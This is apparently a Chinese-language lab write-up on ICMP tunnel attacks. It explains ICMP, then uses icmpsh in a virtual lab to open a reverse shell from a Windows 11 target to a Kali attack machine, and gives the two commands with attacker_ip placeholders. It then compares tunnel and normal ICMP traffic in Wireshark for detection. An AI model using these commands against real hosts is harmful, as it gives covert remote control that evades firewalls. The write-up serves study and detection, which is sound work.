ICMP隧道攻击

关于ICMP协议

1.ICMP协议的全称是互联网控制消息协议,基于IP协议发送控制消息,控制消息指的就是网络通不通,主机是否可达,路由是否可用

2.ICMP主要应用在各种网络诊断工具中,最主要的就是ping。ping可以知道对面的主机是否与自己联通

3.ICMP包可以携带少量的数据,一般来说icmp请求包和返回包的Data部分都是一样的

关于ICMP隧道攻击

由于ICMP流量会被防火墙忽略或者不完全检测,所以攻击者利用其隐蔽性,可以搭建一条ICMP隧道对靶机实现控制。缺点是不太稳定

实验

目标:用icmpsh实现反弹shell,实现攻击机对靶机的控制,同时记录并分析正常的icmp流量和icmp隧道流量的不同

攻击机:Kal-Linux-2024.1;靶机:Windows 11,两者处于同一虚拟网络中

注意icmpsh需要clone依赖项Impacket并且安装。(clone+setup.py)

在安装目录下:

1
sudo python2 ./icmpsh_m.py [attacker_ip] [target_ip]

在靶机上:

把安装目录的icmpsh.exe复制到某个目录下,打开cmd

1
icmpsh.exe -t [attacker_ip]

这样一来就成功的反弹shell了

0

用wireshark抓取流量发现如下特征:

1.ICMP包数量较大

1

2.request和reply的Data部分是不同的

这个是隧道部分流量的request和reply(注意我是在靶机上监控的流量,所以攻击机反而成了reply)

reply

2

request

3

正常部分的reply和request的Data部分均为

4

3.Data部分和正常的icmp包有所区别

前者的Data长度在实验中是64,后者是40,差异还是很明显的